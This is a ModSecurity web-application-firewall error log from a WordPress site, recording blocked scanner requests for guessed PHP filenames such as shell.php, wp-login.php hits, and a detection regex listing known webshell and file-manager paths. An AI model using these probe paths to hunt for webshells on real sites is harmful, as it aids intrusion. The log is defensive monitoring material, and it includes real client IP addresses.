[Mon Dec 15 20:43:51.372600 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:16084] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aUAChxaJK6javjid3xy4CwAAAQU"]
[Mon Dec 15 20:43:51.638639 2025] [:error] [pid 31373:tid 31420] [client 4.194.147.174:16270] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aUACh3FdnrU7ASwItVLiMAAAAM8"]
[Mon Dec 15 20:43:51.867673 2025] [:error] [pid 31374:tid 31434] [client 4.194.147.174:16098] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aUACh5zSh8b7uk6RWiFjTQAAAEI"]
[Mon Dec 15 20:43:52.133943 2025] [:error] [pid 52155:tid 52160] [client 4.194.147.174:16095] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aUACiBaJK6javjid3xy4DgAAAQI"]
[Mon Dec 15 20:43:52.363635 2025] [:error] [pid 31374:tid 31436] [client 4.194.147.174:15900] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aUACiJzSh8b7uk6RWiFjTgAAAEQ"]
[Mon Dec 15 20:43:52.728830 2025] [:error] [pid 31374:tid 31451] [client 4.194.147.174:16020] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aUACiJzSh8b7uk6RWiFjUAAAAFM"]
[Mon Dec 15 20:43:53.092409 2025] [:error] [pid 31373:tid 31414] [client 4.194.147.174:15937] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aUACiXFdnrU7ASwItVLiMQAAAMk"]
[Mon Dec 15 20:43:53.321930 2025] [:error] [pid 31373:tid 31416] [client 4.194.147.174:16178] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aUACiXFdnrU7ASwItVLiMgAAAMs"]
[Mon Dec 15 20:43:53.582415 2025] [:error] [pid 31374:tid 31448] [client 4.194.147.174:16180] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aUACiZzSh8b7uk6RWiFjUQAAAFA"]
[Mon Dec 15 20:43:53.830278 2025] [:error] [pid 31373:tid 31429] [client 4.194.147.174:15986] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aUACiXFdnrU7ASwItVLiNAAAANg"]
[Mon Dec 15 20:43:54.103178 2025] [:error] [pid 31373:tid 31409] [client 4.194.147.174:16048] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aUACinFdnrU7ASwItVLiNQAAAMQ"]
[Mon Dec 15 20:43:54.342096 2025] [:error] [pid 31459:tid 31478] [client 4.194.147.174:16090] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aUACijqerS0TDpViRztpewAAABE"]
[Mon Dec 15 20:43:54.596004 2025] [:error] [pid 31372:tid 31378] [client 4.194.147.174:16147] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aUACigN06qRtpJxyxHiiUAAAAII"]
[Mon Dec 15 20:43:54.814773 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:15936] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ouh.php"] [unique_id "aUACihaJK6javjid3xy4EAAAAQA"]
[Mon Dec 15 20:43:55.017987 2025] [:error] [pid 31372:tid 31397] [client 4.194.147.174:16029] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ouh.php"] [unique_id "aUACiwN06qRtpJxyxHiiUQAAAJU"]
[Mon Dec 15 20:43:55.324726 2025] [:error] [pid 31459:tid 31464] [client 4.194.147.174:15947] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ouh.php"] [unique_id "aUACizqerS0TDpViRztpfgAAAAM"]
[Mon Dec 15 20:43:55.568696 2025] [:error] [pid 31459:tid 31483] [client 4.194.147.174:16153] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ouh.php"] [unique_id "aUACizqerS0TDpViRztpfwAAABY"]
[Mon Dec 15 20:43:55.759471 2025] [:error] [pid 52155:tid 52170] [client 4.194.147.174:15883] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aUACixaJK6javjid3xy4EwAAAQw"]
[Mon Dec 15 20:43:56.003665 2025] [:error] [pid 31374:tid 31450] [client 4.194.147.174:16123] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aUACjJzSh8b7uk6RWiFjVAAAAFI"]
[Mon Dec 15 20:43:56.234156 2025] [:error] [pid 31374:tid 31454] [client 4.194.147.174:16349] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aUACjJzSh8b7uk6RWiFjVQAAAFY"]
[Mon Dec 15 20:43:56.599458 2025] [:error] [pid 31459:tid 31467] [client 4.194.147.174:16053] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aUACjDqerS0TDpViRztpgAAAAAY"]
[Mon Dec 15 20:43:56.794291 2025] [:error] [pid 31372:tid 31389] [client 4.194.147.174:16057] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aUACjAN06qRtpJxyxHiiUwAAAI0"]
[Mon Dec 15 20:43:57.095046 2025] [:error] [pid 31372:tid 31385] [client 4.194.147.174:16171] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aUACjQN06qRtpJxyxHiiVAAAAIk"]
[Mon Dec 15 20:43:57.317437 2025] [:error] [pid 31374:tid 31444] [client 4.194.147.174:16000] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aUACjZzSh8b7uk6RWiFjVwAAAEw"]
[Mon Dec 15 20:43:57.556489 2025] [:error] [pid 52155:tid 52174] [client 4.194.147.174:15988] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aUACjRaJK6javjid3xy4FgAAARA"]
[Mon Dec 15 20:43:57.886564 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:16036] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aUACjRaJK6javjid3xy4FwAAAQo"]
[Mon Dec 15 20:43:58.105637 2025] [:error] [pid 31459:tid 31462] [client 4.194.147.174:16032] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aUACjjqerS0TDpViRztphAAAAAE"]
[Mon Dec 15 20:43:58.433390 2025] [:error] [pid 31372:tid 31391] [client 4.194.147.174:19298] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aUACjgN06qRtpJxyxHiiVQAAAI8"]
[Mon Dec 15 20:43:58.642085 2025] [:error] [pid 31373:tid 31416] [client 4.194.147.174:16077] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aUACjnFdnrU7ASwItVLiRgAAAMs"]
[Mon Dec 15 20:43:58.830503 2025] [:error] [pid 31372:tid 31384] [client 4.194.147.174:16154] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aUACjgN06qRtpJxyxHiiWAAAAIg"]
[Mon Dec 15 20:43:59.064775 2025] [:error] [pid 31373:tid 31425] [client 4.194.147.174:16050] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aUACj3FdnrU7ASwItVLiRwAAANQ"]
[Mon Dec 15 20:43:59.265547 2025] [:error] [pid 31374:tid 31448] [client 4.194.147.174:16085] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aUACj5zSh8b7uk6RWiFjWAAAAFA"]
[Mon Dec 15 20:43:59.524964 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:16016] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aUACjxaJK6javjid3xy4GQAAAQM"]
[Mon Dec 15 20:43:59.799970 2025] [:error] [pid 31374:tid 31446] [client 4.194.147.174:16051] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aUACj5zSh8b7uk6RWiFjWgAAAE4"]
[Mon Dec 15 20:44:00.092344 2025] [:error] [pid 31373:tid 31422] [client 4.194.147.174:16073] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aUACkHFdnrU7ASwItVLiSQAAANE"]
[Mon Dec 15 20:44:00.285826 2025] [:error] [pid 31372:tid 31378] [client 4.194.147.174:15887] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aUACkAN06qRtpJxyxHiiXgAAAII"]
[Mon Dec 15 20:44:00.509897 2025] [:error] [pid 31459:tid 31475] [client 4.194.147.174:16034] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aUACkDqerS0TDpViRztphQAAAA4"]
[Mon Dec 15 20:44:00.716081 2025] [:error] [pid 31459:tid 31465] [client 4.194.147.174:15950] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aUACkDqerS0TDpViRztphgAAAAQ"]
[Mon Dec 15 20:44:00.955822 2025] [:error] [pid 31459:tid 31484] [client 4.194.147.174:16001] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aUACkDqerS0TDpViRztphwAAABc"]
[Mon Dec 15 20:44:01.241869 2025] [:error] [pid 31459:tid 31485] [client 4.194.147.174:15993] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aUACkTqerS0TDpViRztpiAAAABg"]
[Mon Dec 15 20:44:01.450500 2025] [:error] [pid 31459:tid 31471] [client 4.194.147.174:15939] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aUACkTqerS0TDpViRztpiQAAAAo"]
[Mon Dec 15 20:44:01.674963 2025] [:error] [pid 31372:tid 31395] [client 4.194.147.174:16237] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aUACkQN06qRtpJxyxHiiYQAAAJM"]
[Mon Dec 15 20:44:01.925111 2025] [:error] [pid 31374:tid 31433] [client 4.194.147.174:15946] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aUACkZzSh8b7uk6RWiFjXQAAAEE"]
[Mon Dec 15 20:44:02.133009 2025] [:error] [pid 31372:tid 31385] [client 4.194.147.174:15905] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aUACkgN06qRtpJxyxHiiZAAAAIk"]
[Mon Dec 15 20:44:02.426601 2025] [:error] [pid 31372:tid 31376] [client 4.194.147.174:16105] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aUACkgN06qRtpJxyxHiiZQAAAIA"]
[Mon Dec 15 20:44:02.698406 2025] [:error] [pid 31372:tid 31398] [client 4.194.147.174:15915] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxz.php"] [unique_id "aUACkgN06qRtpJxyxHiiaAAAAJY"]
[Mon Dec 15 20:44:02.903760 2025] [:error] [pid 31459:tid 31469] [client 4.194.147.174:16056] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxz.php"] [unique_id "aUACkjqerS0TDpViRztpjAAAAAg"]
[Mon Dec 15 20:44:03.107184 2025] [:error] [pid 31374:tid 31437] [client 4.194.147.174:15941] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxz.php"] [unique_id "aUACk5zSh8b7uk6RWiFjXwAAAEU"]
[Mon Dec 15 20:44:03.367649 2025] [:error] [pid 31374:tid 31453] [client 4.194.147.174:15983] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxz.php"] [unique_id "aUACk5zSh8b7uk6RWiFjYAAAAFU"]
[Tue Dec 16 01:39:06.116977 2025] [:error] [pid 34410:tid 34449] [client 43.153.79.218:59534] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUBHusWDXTJsXAHPFUmt7AAAAEg"]
[Tue Dec 16 03:19:13.102973 2025] [:error] [pid 34495:tid 34503] [client 136.144.19.247:22169] [client 136.144.19.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.247, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUBfMWZCUf_mSR4srxut9wAAAUY"]
[Tue Dec 16 03:19:14.092794 2025] [:error] [pid 31566:tid 31582] [client 104.234.19.27:48847] [client 104.234.19.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.27, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUBfMvp1NDLK4uehYB-ofAAAAIw"]
[Tue Dec 16 04:08:16.243610 2025] [:error] [pid 33917:tid 33975] [client 45.154.138.14:21245] [client 45.154.138.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUBqsLzjvOPCow0iasGapQAAAII"]
[Tue Dec 16 04:08:18.361820 2025] [:error] [pid 33917:tid 33975] [client 45.154.138.12:60211] [client 45.154.138.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUBqsrzjvOPCow0iasGaxgAAAII"]
